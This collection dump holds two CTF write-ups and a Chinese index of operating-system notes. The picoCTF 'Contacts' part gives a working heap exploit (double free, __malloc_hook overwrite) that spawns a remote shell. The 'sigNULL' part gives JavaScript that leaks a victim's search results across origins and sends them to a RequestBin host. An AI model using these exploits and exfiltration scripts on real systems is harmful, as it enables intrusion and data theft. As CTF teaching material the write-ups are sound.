NULL){ puts("Could not allocate new contact."); exit(-1); }; /* make a copy of the name on the heap */ contact->name = strdup(name); if (contact->name == NULL){ puts("Could not duplicate name."); exit(-1); } contacts[num_contacts++] = contact; } void delete_contact(struct contact *contact){ free(contact->name); /* if the bio is set, free it as well */ if (contact->bio != NULL){ free(contact->bio); } free(contact); /* replace the corresponding index with the last contact and decrement num_contacts */ for (int i = 0; i < num_contacts; i++){ if (contacts[i] == contact){ contacts[i] = contacts[num_contacts - 1]; num_contacts--; break; } } } void set_bio(struct contact *contact){ char input[4]; size_t length; /* we'll replace the old bio */ if (contact->bio != NULL){ free(contact->bio); } puts("How long will the bio be?"); if (fgets(input, 4, stdin) == NULL){ puts("Couldn't read length."); return; }; length = strtoul(input, NULL, 10); if (length > 255){ puts("Bio must be at most 255 characters."); return; } contact->bio = (char *)malloc(length+1); if (contact->bio == NULL){ puts("Couldn't allocate bio."); exit(-1); } puts("Enter your new bio:"); if (fgets(contact->bio, length+1, stdin) == NULL){ puts("Couldn't read bio."); return; } puts("Bio recorded."); } void menu(){ puts("Available commands:"); puts("\tdisplay - display the contacts"); puts("\tcreate [name] - create a new contact"); puts("\tdelete [name] - delete an existing contact"); puts("\tbio [name] - set the bio for an existing contact"); puts("\tquit - exit the program"); } int process_cmd(char *cmd){ struct contact *contact; char *name; if (!strncmp(cmd, "display", 7)){ print_contacts(); }else if (!strncmp(cmd, "create", 6)){ name = strtok(&cmd[7], "\n"); if (name == NULL){ puts("Invalid command"); return 0; } create_contact(name); printf("Created contact \"%s\"\n", name); }else if (!strncmp(cmd, "delete", 6)){ name = strtok(&cmd[7], "\n"); if (name == NULL){ puts("Invalid command"); return 0; } contact = find_contact(name); if (contact == NULL){ puts("Can't find contact"); return 0; } delete_contact(contact); printf("Deleted contact \"%s\"\n", name); }else if (!strncmp(cmd, "bio", 3)){ name = strtok(&cmd[4], "\n"); if (name == NULL){ puts("Invalid command"); return 0; } contact = find_contact(name); if (contact == NULL){ puts("Can't find contact"); return 0; } set_bio(contact); }else if (!strncmp(cmd, "quit", 4)){ return 1; }else{ puts("Invalid option"); menu(); } return 0; } void command_loop(){ char buf[512]; menu(); while(1){ puts("\nEnter your command:"); putchar('>'); putchar(' '); if(fgets(buf, 512, stdin) == NULL) break; if (process_cmd(buf)){ return; } } } int main(int argc, char **argv){ /* Don't buffer stdout. */ setbuf(stdout, NULL); command_loop(); } ``` Two binary files were attached as well: The executable and libc.so.6. ## Solution: The program provides a simple contact-management application. We will exploit the application in two stages: 1. Leak a libc address, allowing us to calculate the libc base address 2. Override a function pointer with a magic gadget, and use it to spawn a shell But first, we have to run the program. Calling it locally provides the following output: ```console root@kali:/media/sf_CTFs/pico/Contacts# ./contacts Segmentation fault ``` We will need to make sure it uses the supplied libc when running locally (e.g. by placing both files in the same directory). Note: I also had to modify the LD file used by the program, which I took from the server's `/lib64/ld-linux-x86-64.so.2`. This can be done using [PatchELF](https://nixos.org/patchelf.html). ```console root@kali:/media/sf_CTFs/pico/Contacts# scp user@2018shell2.picoctf.com:/lib64/ld-linux-x86-64.so.2 . picoCTF{who_n33ds_p4ssw0rds_38dj21} ld-linux-x86-64.so.2 100% 159KB 90.1KB/s 00:01 root@kali:/media/sf_CTFs/pico/Contacts# cp contacts contacts_test root@kali:/media/sf_CTFs/pico/Contacts# ldd contacts linux-vdso.so.1 (0x00007ffef2978000) libc.so.6 => ./libc.so.6 (0x00007ff4153f7000) /lib64/ld-linux-x86-64.so.2 (0x00007ff4157c3000) root@kali:/media/sf_CTFs/pico/Contacts# ./contacts_test Segmentation fault root@kali:/media/sf_CTFs/pico/Contacts# patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./contacts_test root@kali:/media/sf_CTFs/pico/Contacts# ldd contacts_test linux-vdso.so.1 (0x00007fffb8ffe000) libc.so.6 => ./libc.so.6 (0x00007f125c382000) ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f125c74e000) root@kali:/media/sf_CTFs/pico/Contacts# ./contacts_test Available commands: display - display the contacts create [name] - create a new contact delete [name] - delete an existing contact bio [name] - set the bio for an existing contact quit - exit the program Enter your command: ``` Now we can move on to locating the bugs in the implementation. The first bug is found in `create_contact`: ```c struct contact { char *name; char *bio; }; [...] void create_contact(char *name){ if (num_contacts == MAX_CONTACTS){ puts("Too many contacts! Delete one first!"); return; } struct contact *contact = (struct contact *)malloc(sizeof(struct contact)); if (contact == NULL){ puts("Could not allocate new contact."); exit(-1); }; /* make a copy of the name on the heap */ contact->name = strdup(name); if (contact->name == NULL){ puts("Could not duplicate name."); exit(-1); } contacts[num_contacts++] = contact; } ``` The function allocates a new `struct contact`, but does not initialize the `bio` pointer in any way. This means that `bio` contains garbage, or in our case - specially crafted malicious data. We will use this bug to leak an address of a libc function by taking advantage of [first-fit](https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html) behavior. 1. We take note of `sizeof(contact)`, which is 16. 2. We allocate a bio string of size 16, and populate it so that the last 8 bytes (equivalent to `contact->bio`) contain the address of a libc function. 3. We free the bio. The program does not clear the memory upon free. 4. We request to allocate a new contact. Due to first-fit, `malloc(sizeof(struct contact))` will return the memory which previously was used as our bio string. 5. Since the `bio` field of the new `contact` structure was not initialized, it contains whatever was there before. In our case, the last 8 bytes contain the address of the libc function. 6. We use the display API to print the contact, which will print the bio string, which will leak the libc function address. In Python, this translates to: ```python class Contact(c_struct): _fields_ = [('p_name', c_int64), ('p_bio', c_int64)] #Create a fake bio which is crafted to look like a contact struct bio_as_contact = Contact() bio_as_contact.p_name = 0; bio_as_contact.p_bio = e.got["puts"] create_contact("Leak1") set_bio("Leak1", bio_as_contact.to_bytes()) free_bio("Leak1") create_contact("Leak2") # Heap manager will allocate fake bio as Leak2 contact struct puts_address = u64(get_bio("Leak2").ljust(8, '\x00')) log.info("Runtime address of puts(): {}".format(hex(puts_address))) libc_base = puts_address - libc.symbols['puts'] log.info("LibC base: {}".format(hex(libc_base))) assert (libc_base & 0xFFF == 0) ``` Now, we move on to the second part of the exploit, which attacks fastbin. We will use a [double free](https://heap-exploitation.dhavalkapil.com/attacks/double_free.html) vulnerability together with a [forged chunk](https://heap-exploitation.dhavalkapil.com/attacks/forging_chunks.html) attack. A practical explanation of the attacked can also be found [here](https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-riding-free-on-the-heap-double-free-attacks/). A "Double free" can be performed if we have the ability to free the same chunk of memory twice. This means that it will be added to the same "[free list](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/bins_chunks.html)" twice (in our case - the fastbin free list, since we will be dealing with small chunks of memory). We'll see how this can be used in a moment, but first - let's take a look at the vulnerability in `set_bio`: ```c void set_bio(struct contact *contact){ [...] /* we'll replace the old bio */ if (contact->bio != NULL){ free(contact->bio); } puts("How long will the bio be?"); if (fgets(input, 4, stdin) == NULL){ puts("Couldn't read length."); return; }; length = strtoul(input, NULL, 10); if (length > 255){ puts("Bio must be at most 255 characters."); return; } [...] ``` As you can see, `set_bio` starts by freeing the `bio` field without later setting the pointer to NULL, but two blocks later allows us to bail out of the function by providing a large length. This leaves the `contact` struct with a `bio` pointer that is not allocated anymore, but can be freed again by repeating the same action. It's important to note that the heap manager has a very primitive protection against double-free: It makes sure that the allocation that is being freed now, was not the allocation that was freed before this one. So, in order to perform a double-free successfully, we must free some other allocation in between. ```python set_bio("FBMem1", cyclic(user_alloc_size)) set_bio("FBMem2", cyclic(user_alloc_size)) free_bio("FBMem1") free_bio("FBMem2") # To bypass "double free or corruption (fasttop)" check free_bio("FBMem1") ``` Each time we free an allocation, the heap manager adds it to the head of a linked list of free allocations. There are different linked lists for different sizes of allocations. For small allocations of specific ranges, the linked lists belong to what's called the "fastbin". Here's how the fastbin for our chunk size looks like during the execution of the logic above: ```python # Fastbin: head -> tail free_bio("FBMem1") # Fastbin: head -> FBMem1 -> tail free_bio("FBMem2") # To bypass "double free or corruption (fasttop)" check # Fastbin: head -> FBMem2 -> FBMem1 -> tail free_bio("FBMem1") # Fastbin: head -> FBMem1 -> FBMem2 -> FBMem1 (-> FBMem2 -> FBMem1 -> ...) ``` Note that after freeing `FBMem1` for the second time, the linked list becomes corrupted since `FBMem2->next` points to `FBMem1`, and as part of the second insertion of `FBMem1` into the linked list, the heap manager set `FBMem1->next` to point to `FBMem2`, since it did not know that `FBMem1` was already part of the linked list and previously pointed to `tail`. Why is this useful? Since now we can request an allocation and receive `FBMem1`. We can actually control its content while its still considered free (due to the fact that `FBMem2`, which is in the free list, is still pointing to it). We can modify its `next` pointer to any location in memory. Once we request two more allocations (one for `FBMem2` and one for the second `FBMem1`), the allocation after that will return whoever `FBMem->next` was pointing to, which means we can control an arbitrary chunk of memory which isn't supposed to be part of the heap. In many cases, it is useful to use this technique to allocation a chunk of memory which contains the `__malloc_hook` pointer. > The GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions. You can use these hooks to help you debug programs that use dynamic memory allocation, for example. > > Variable: __malloc_hook: > The value of this variable is a pointer to the function that malloc uses whenever it is called. So `malloc` will call `__malloc_hook` if it is set. If we set `__malloc_hook` to a magic gadget (i.e. code residing in libc which opens a shell when being executed), we will be able to read the flag. There is one point though. Fastbin has a sanity check that the size of the chunk being removed from the linked list and returned to the user is indeed in the appropriate range for fastbin chunks (for 64-bit, fastbin sizes are 0x20, 0x30, ... 0x80. For any allocation, 0x10 bytes are metadata hidden from the user). This is a representation of a **free** fastbin chunk ([source](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk.html)): ``` chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |A|0|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` It's also important to note that for an **allocated** chunk of memory, the structure is actually different: ``` chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` As you can see, the "forward" and "back" pointers of a free chunk actually sit in the same location of user data in an allocated chunk. Now, we need to align the fake chunk so that the size of the chunk is legal, and the pointer we want to override is located within the user data. Usually this is done by pointing the chunk to `__malloc_hook - 0x23`. This is how the `__malloc_hook` area looks like: ``` 0x7ffff7dd1ad0: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1ae0: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1af0: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b20: 0x0000000100000000 0x0000000000000000 ``` But if we step back 0x23 bytes, we get: ``` gdb-peda$ x /12xg (char*)&__malloc_hook-0x23 0x7ffff7dd1aed: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0100000000000000 0x0000000000000000 0x7ffff7dd1b2d: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000 ``` If we interpret this memory as a chunk (mchunkptr), this gives us a chunk size of 0x7f which fits the fastbin criteria! We just need to make sure that the rest of our allocations belong to the same bin (the 0x70 bin). Therefore, we need to use ~0x60 byte allocations (which have the overhead of 0x10 bytes metadata - see detailed explanation [here](https://github.com/shellphish/how2heap/issues/71)). Remember - after freeing `FBMem1` for the second time, our fast bin was as follows: ``` head -> FBMem1 -> FBMem2 -> FBMem1 (-> FBMem2 -> FBMem1 -> ...) ``` Now we perform the following sequence: 1. We allocate `FBMem3`: Heap manager removes the memory chunk previously known as `FBMem1` from the head of the linked list, and returns it to us. Fastbin is now ` head -> FBMem2 -> FBMem1 (-> FBMem2 ...)` 2. We overwrite `FBMem3` (a.k.a. `FBMem1`) with the specially crafted `__malloc_hook - 0x23` buffer. Since there is another instance of `FBMem1` in the linked list, it now looks like: `head -> FBMem2 -> FBMem1 -> fake_chunk -> ?` 3. We allocate `FBMem4`: Heap manager removes the memory chunk previously known as `FBMem2` from the head of the linked list, and returns it to us. Fastbin is now ` head -> FBMem1 -> fake_chunk -> ?` 4. We allocate `FBMem5`: Heap manager removes the memory chunk previously known as `FBMem1` and currently also known as `FBMem3` from the head of the linked list, and returns it to us. Fastbin is now ` head -> fake_chunk -> ?` 5. We allocate `FBMem6`: Heap manager removes the fake memory chunk from the linked list, and using `FBMem6` we now have access to the memory range we wanted to control. Once we receive control of the allocated chunk which contains `__malloc_hook`, we can override the `__malloc_hook` pointer by writing to offset 0x13 from the user data pointer (which in turn is 0x10 bytes from the beginning of the memory chunk, summing up to 0x23). We use [One Gadget](https://github.com/david942j/one_gadget) to find a magic gadget, and we're done - the next allocation we make will call the magic gadget and give us a shell. Putting it all together: ```python from pwn import * from ctypes import * import re PROGRAM = "./contacts" LIBC = "./libc.so.6" MAX_BIO_LEN = 255 class c_struct(Structure): def to_bytes(self): return buffer(self)[:] class Contact(c_struct): _fields_ = [('p_name', c_int64), ('p_bio', c_int64)] #The "user data" part of struct malloc_chunk class MallocChunkInternal(c_struct): _fields_ = [('p_fd', c_int64), ('p_bk', c_int64)] def read_menu(): p.recvuntil("Enter your command:\n> ") def get_bio(name): read_menu() p.sendline("display") out = p.recvline_contains(name + " - ") bio = out.replace("{} - ".format(name), "") log.info("Display: name = '{}', bio = '{}'".format(name, enhex(bio))) return bio def create_contact(name): read_menu() p.sendline("create {}".format(name)) log.info("Created name '{}'".format(name)) #p.recvuntil("Created contact") def delete_contact(name): read_menu() p.sendline("delete {}".format(name)) log.info("Deleted name '{}'".format(name)) p.recvuntil("Deleted contact") def set_bio(name, bio): read_menu() p.sendline("bio {}".format(name)) bio_len = len(bio) p.sendlineafter("How long will the bio be?", str(bio_len)) if bio_len > MAX_BIO_LEN: log.info("Bio for {} pseudo-freed".format(name)) return p.sendlineafter("Enter your new bio:", bio) p.recvuntil("Bio recorded.") log.info("Bio set for name '{}': {}".format(name, enhex(bio))) def quit(): read_menu() p.sendline("quit") log.info("Quitting") def free_bio(name): set_bio(name, "A" * (MAX_BIO_LEN + 1) ) e = ELF(PROGRAM) libc = ELF(LIBC) og_proc = process(["one_gadget", "-r", libc.path]) gadgets = og_proc.recvall() gadget = int(gadgets.split(" ")[1]) # Gadget #0 didn't work... log.info("One-gadget address for {}: {}".format(LIBC, hex(gadget))) p = remote("2018shell3.picoctf.com", 29455) #p = process(PROGRAM) #Create a fake bio which is crafted to look like a contact struct bio_as_contact = Contact() bio_as_contact.p_name = 0; bio_as_contact.p_bio = e.got["puts"] log.info("Address of puts() .got.plt: {}".format(hex(e.got["puts"]))) log.info("Address of puts() in libc: {}".format(hex(libc.symbols['puts']))) create_contact("Leak1") set_bio("Leak1", bio_as_contact.to_bytes()) free_bio("Leak1") create_contact("Leak2") # Heap manager will allocate fake bio as Leak2 contact struct puts_address = u64(get_bio("Leak2").ljust(8, '\x00')) log.info("Runtime address of puts(): {}".format(hex(puts_address))) libc_base = puts_address - libc.symbols['puts'] log.info("LibC base: {}".format(hex(libc_base))) assert (libc_base & 0xFFF == 0) libc.address = libc_base create_contact("FBMem1") create_contact("FBMem2") create_contact("FBMem3") create_contact("FBMem4") create_contact("FBMem5") create_contact("FBMem6") user_alloc_size = 0x60 #Heap manager's request2size(0x60) = 0x70, putting this allocation in the same bin as a 0x7f allocation (dictated by logic below) set_bio("FBMem1", cyclic(user_alloc_size)) set_bio("FBMem2", cyclic(user_alloc_size)) free_bio("FBMem1") # head -> FBMem1 -> tail free_bio("FBMem2") # To bypass "double free or corruption (fasttop)" check # head -> FBMem2 -> FBMem1 -> tail free_bio("FBMem1") # head -> FBMem1 -> FBMem2 -> FBMem1 (-> FBMem2 -> FBMem1 -> ...) offset_byte_7f = libc.symbols["__malloc_hook"] - 0x23 # Align so that: (a) __malloc_hook is within the allocated chunk (b) mchunk_size is 0x7f, within fastbin range malloc_chunk_internal = MallocChunkInternal() malloc_chunk_internal.p_fd = offset_byte_7f malloc_chunk_internal.p_bk = 0 #tail set_bio("FBMem3", fit({0: malloc_chunk_internal.to_bytes()}, filler = '\0', length = user_alloc_size) ) # Will allocate FBMem1. # FastBin: head -> FBMem2 -> FBMem1 (-> FBMem2 ...), and then: head -> FBMem2 -> FBMem1 -> offset_byte_7f -> ? set_bio("FBMem4", cyclic(user_alloc_size)) # Will allocate FBMem2. FastBin: head -> FBMem1 -> offset_byte_7f -> ? set_bio("FBMem5", cyclic(user_alloc_size)) # Will allocate FBMem1. FastBin: head -> offset_byte_7f -> ? # If we requested the heap manager to allocate a chunk at (__malloc_hook - 0x23), it will actually return to the user the memory # starting at (__malloc_hook - 0x23 + sizeof(mchunk_prev_size) + sizeof(mchunk_size)) = (__malloc_hook - 0x23 + 8 + 8) = (__malloc_hook - 0x13). # Therefore, we just pad the first meaningless 0x13 bytes, and only then place the pointer we want __malloc_hook to call. set_bio("FBMem6", fit({0x13: p64(libc_base + gadget)}, filler = '\0', length = user_alloc_size) ) # will allocate offset_byte_7f (which was FBMem1->fd) # This will write the magic gadget address to offset_byte_7f + 0x13, which is the start address of __malloc_hook create_contact("Shell") # Will call __malloc_hook when trying to allocate, which is now pointing to one-gadget p.interactive() ``` The output: ```console root@kali:/media/sf_CTFs/pico/Contacts# python exploit.py [*] '/media/sf_CTFs/pico/Contacts/contacts_test' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) RPATH: './' FORTIFY: Enabled [*] '/media/sf_CTFs/pico/Contacts/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process '/usr/local/bin/one_gadget': pid 1414 [+] Receiving all data: Done (28B) [*] Process '/usr/local/bin/one_gadget' stopped with exit code 0 (pid 1414) [*] One-gadget address for ./libc.so.6: 0x4526a [+] Opening connection to 2018shell3.picoctf.com on port 29455: Done [*] Address of puts() .got.plt: 0x602020 [*] Address of puts() in libc: 0x6f690 [*] Created name 'Leak1' [*] Bio set for name 'Leak1': 00000000000000002020600000000000 [*] Bio for Leak1 pseudo-freed [*] Created name 'Leak2' [*] Display: name = 'Leak2', bio = '902686f07e7f' [*] Runtime address of puts(): 0x7f7ef0862690 [*] LibC base: 0x7f7ef07f3000 [*] Created name 'FBMem1' [*] Created name 'FBMem2' [*] Created name 'FBMem3' [*] Created name 'FBMem4' [*] Created name 'FBMem5' [*] Created name 'FBMem6' [*] Bio set for name 'FBMem1': 6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161616f616161706161617161616172616161736161617461616175616161766161617761616178616161 [*] Bio set for name 'FBMem2': 6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161616f616161706161617161616172616161736161617461616175616161766161617761616178616161 [*] Bio for FBMem1 pseudo-freed [*] Bio for FBMem2 pseudo-freed [*] Bio for FBMem1 pseudo-freed [*] Bio set for name 'FBMem3': ed7abbf07e7f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [*] Bio set for name 'FBMem4': 6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161616f616161706161617161616172616161736161617461616175616161766161617761616178616161 [*] Bio set for name 'FBMem5': 6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161616f616161706161617161616172616161736161617461616175616161766161617761616178616161 [*] Bio set for name 'FBMem6': 000000000000000000000000000000000000006a8283f07e7f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [*] Created name 'Shell' [*] Switching to interactive mode Invalid option Available commands: display - display the contacts create [name] - create a new contact delete [name] - delete an existing contact bio [name] - set the bio for an existing contact quit - exit the program Enter your command: > $ cat flag.txt picoCTF{4_5pr3e_0f_d0ubl3_fR33_5b6d2d6c} $ ``` The flag: picoCTF{4_5pr3e_0f_d0ubl3_fR33_5b6d2d6c}
sec-knowleage
# sigNULL * Category: Web * 550 Points * Solved by the JCTF Team ## Description > Jeff Bezos is using the super secure SigNULL messaging service. > > Our best hackers have not been able to find a way to leak the flag from his inbox. You can contact him by sending a message to `0399bf35-5fb7-402b-ba56-8d85d4f09d29`. > > Do you have what it takes to get the flag? ## Solution We visit the attached website and are prompted to create a new account: ![](images/signull1.png) Once we create the account, we get a set of a private and public key: ``` Public Key: f2456c40-3cbf-4d48-ad3a-9c87969921ff Private Key: 6e1b371a-66e0-43ff-8d0d-8a6910d21263 ``` The interface we receive is: ![](images/signull2.png) Using Jeff's public key, we can send him a message: ![](images/signull3.png) After chatting for a while, we get a clue: ![](images/signull4.png) Well, he asked for it: ![](images/signull5.png) Jeff assures us that he will watch the video. Can we send him some other link? ![](images/signull6.png) Digging through the Javascript sources, this looks like a React application. We can find the following YouTube-related logic: ```javascript // ... E = /^https?:\/\/[^.]+\.youtube\.com\/embed\//i; // ... t.preventDefault(), n && U ? ((a = U.toString()).startsWith("https://www.youtube.com/watch?v=") && (a = a.replace("watch?v=", "embed/")) // ... ``` The regular expression seems flawed. We can bypass it by providing a prefix URL and appending the YouTube URL as a query string, as long as we encode the periods for the prefix URL as `%2E`. ```javascript >>> E = /^https?:\/\/[^.]+\.youtube\.com\/embed\//i; /^https?:\/\/[^.]+\.youtube\.com\/embed\//i >>> 'https://www.youtube.com/embed/'.match(E) Array [ "https://www.youtube.com/embed/" ] >>> 'https://www.evil.com?www.youtube.com/embed/'.match(E) null >>> 'https://www%2Eevil%2Ecom?www.youtube.com/embed/'.match(E) Array [ "https://www%2Eevil%2Ecom?www.youtube.com/embed/" ] ``` Let's try sending a RequestBin and see if Jeff visits it: ``` https://enswwrsynfpwo%2Ex%2Epipedream%2Enet?www.youtube.com/embed/ ``` ![](images/signull7.png) As expected, we get a hit from a Headless Chrome setup: ``` host: enswwrsynfpwo.x.pipedream.net x-amzn-trace-id: Root=1-6192b77d-6fd5156b49804c913fe03901 upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/86.0.4240.111 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 sec-fetch-site: cross-site sec-fetch-mode: navigate sec-fetch-dest: iframe referer: https://signull.chal.intentsummit.org/ accept-encoding: gzip, deflate, br accept-language: en-US ``` Notice how `sec-fetch-dest` is `iframe`. This is because the URL gets loaded in an IFrame: ```html <div class="message-bubble"><iframe src="https://enswwrsynfpwo%2Ex%2Epipedream%2Enet?www.youtube.com/embed/"></iframe><time>just now</time></div> ``` What can we do with this? One thing we might want to do it somehow embed the messaging application itself into an IFrame, and see where we can go from there. However, that thought gets tossed early due to the following header: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/sigNULL] └─$ curl -k -I -s https://signull.chal.intentsummit.org/ | grep frame x-frame-options: DENY ``` We can point the `iframe` to any URL under our control, and run some Javascript code. However, due to Cross-origin policy, we won't be able to access anything interesting from the messaging application such as the history of the chats, the cookies, or the local storage (where the private key is stored in our case). Let's backtrack and see what other capabilities exist in the site. Apart from messaging, the site contains a search capability: ![](images/signull8.png) When we search for a string such as "video", the query term is appended to the hash part of our own URL. So, if we search for `video`, the current URL becomes `https://signull.chal.intentsummit.org/#video`. If the search term is found, the relevant chat is displayed. However, if it isn't, an `iframe` is displayed alerting that there were no results: ![](images/signull9.png) Why is all this important? Well, because it turns out it's possible to leak cross-domain information using metadata based on `iframe` counts. One of our team members figured it out during the CTF, and we later found a [blog post](https://ronmasas.com/posts/facebook-messenger-xsleak) by who if not [Ron Masas](https://twitter.com/ronmasas), the challenge author. How does it work? If an `iframe` is shown when there are no search results and no iframe is shown when there are results, then by counting the number of `iframe`s we can understand if there were results or not. This is something that can happen cross-origin. And not only that, we can also change the hash of a `window.location` from a cross-origin context, allowing us to search for whatever we want. Let's create a short PoC: ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>sigNULL</title> </head> <body> <script> const delay = ms => new Promise(res => setTimeout(res, ms)); const get_num_iframes_for_search = async function(term) { const uri_prefix = "https://signull.chal.intentsummit.org#"; window.parent.location = uri_prefix + encodeURIComponent(term); await delay(100); return window.parent.frames.length; } const run = async function() { const request_bin = "https://enswwrsynfpwo.x.pipedream.net/"; for (const term of ["INTENT", "asdf"]) { const num_iframes = await get_num_iframes_for_search(term); fetch(`${request_bin}?term=${term}&num=${num_iframes}`); } } (async function() { await run(); })(); </script> </body> </html> ``` Remember that this code will be embed into an `iframe` on Jeff's side. What we do here is use `window.parent.location` to change the hash of the `iframe`'s parent (i.e. the messaging application) to two different values: `INTENT` and `asdf`. Each time, we wait a while and count the amount of `iframe`s on the page. We then log the result to our RequestBin. We send `https://sigNULL%2Ejctf%2Erepl%2Eco?www.youtube.com/embed/` as a message and get two hits from the remote client: ``` /?term=INTENT&num=1 /?term=asdf&num=2 ``` Exactly as we expected, for the term `asdf` we get two `iframe`s - one is the from the message content and one is to inform that no results were found. For the `INTENT` query, we just get one `iframe` - the one from the message content. Using this technique, we can brute force the flag one character at a time: ```javascript const delay = ms => new Promise(res => setTimeout(res, ms)); const get_num_iframes_for_search = async function(term) { const uri_prefix = "https://signull.chal.intentsummit.org#"; window.parent.location = uri_prefix + encodeURIComponent(term); await delay(100); return window.parent.frames.length; } const run = async function() { const printable = "e3t7a@4o0i1!_ns5$hrdlcumwfg6ypbvkjxqz289\"#%&'()*+,-./:;<=>?[\\]^`{|}~"; const base_num_iframes = window.parent.frames.length; const request_bin = "https://enswwrsynfpwo.x.pipedream.net/"; let current_flag = "INTENT{"; fetch(`${request_bin}?starting`); for(let counter = 0; counter < 30; counter++) { let found = false; for(c of printable) { const num_iframes = await get_num_iframes_for_search(current_flag + c); if(num_iframes == base_num_iframes) { found = true; current_flag += c; break; } } if ( (!found) || (current_flag[-1] == "}") ) { break; } } fetch(`${request_bin}?flag=${btoa(current_flag)}`); } (async () => { await run(); })(); ``` We wait for the hit in our RequestBin and eventually get the flag: ``` /?flag=SU5URU5Ue2lfaGF2ZV9hX2NyYXNoX29uX2VsMG59 ``` Decoded, the flag is: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/sigNULL] └─$ echo SU5URU5Ue2lfaGF2ZV9hX2NyYXNoX29uX2VsMG59 | base64 -d INTENT{i_have_a_crash_on_el0n} ``` Very cool challenge!
sec-knowleage
# 计算机操作系统 - [概述](计算机操作系统%20-%20概述.md) - [进程管理](计算机操作系统%20-%20进程管理.md) - [死锁](计算机操作系统%20-%20死锁.md) - [内存管理](计算机操作系统%20-%20内存管理.md) - [设备管理](计算机操作系统%20-%20设备管理.md) - [链接](计算机操作系统%20-%20链接.md) ## 参考资料 - Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014. - 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001. - Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统. - 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014. - [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/) - [Operating-System Structures](https://www.cs.uic.edu/\~jbell/CourseNotes/OperatingSystems/2_Structures.html) - [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php) - [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1) - [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
sec-knowleage
